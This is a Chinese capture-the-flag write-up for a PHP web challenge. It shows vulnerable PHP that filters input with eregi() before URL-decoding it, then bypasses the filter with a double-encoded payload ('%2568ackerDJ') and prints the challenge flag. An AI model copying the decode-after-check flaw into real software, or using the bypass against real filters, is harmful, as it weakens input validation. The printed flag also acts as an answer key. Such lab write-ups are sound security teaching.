實驗吧Web-PHP大法


筆記
字符串比對解析,與大小寫無關。
eregi()函數
語法:  eregi(string pattern, string string, array [regs]);
返回值: 整數/數組
特點:PHP函數eregi()與大小寫無關,類似函數ereg() 則區分大小寫
例:if (eregi("C","abcdef")   //true

URl雙編碼: 將經過url編碼產生的'%'再次編碼,及把'%'替換為'%25'

 

鏈接:  http://www.shiyanbar.com/ctf/54

    

頁面情況

    

獲得提示: index.php.txt <?php
if(eregi("hackerDJ",$_GET[id])) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}
?>

<br><br>
Can you authenticate to this website?

首先eregi()函數進行一次比較判斷,如果想打印flag,id不能等於"hackerDJ" ,並且經過url解碼后id等於"hackerDJ"

但這里需要注意的是:在瀏覽器中提交時瀏覽器會為我們進行一次解碼
可以在本地執行下面的代碼: 
<?php
$id = '%68ackerDJ';
if(eregi("hackerDJ",$id)) {
  echo("<p>not allowed!</p>");
  exit();
}

$id = urldecode($id);
if($id == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}
?>
可以看到成功打印,說明瀏覽器的確為我們轉換了一次

因此我們需要進行兩次編碼: h --> %68 --> %2568

構造url: index.php?id=%2568ackerDJ

提交即可獲得flag:   flag: DUTCTF{PHP_is_the_best_program_language}

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM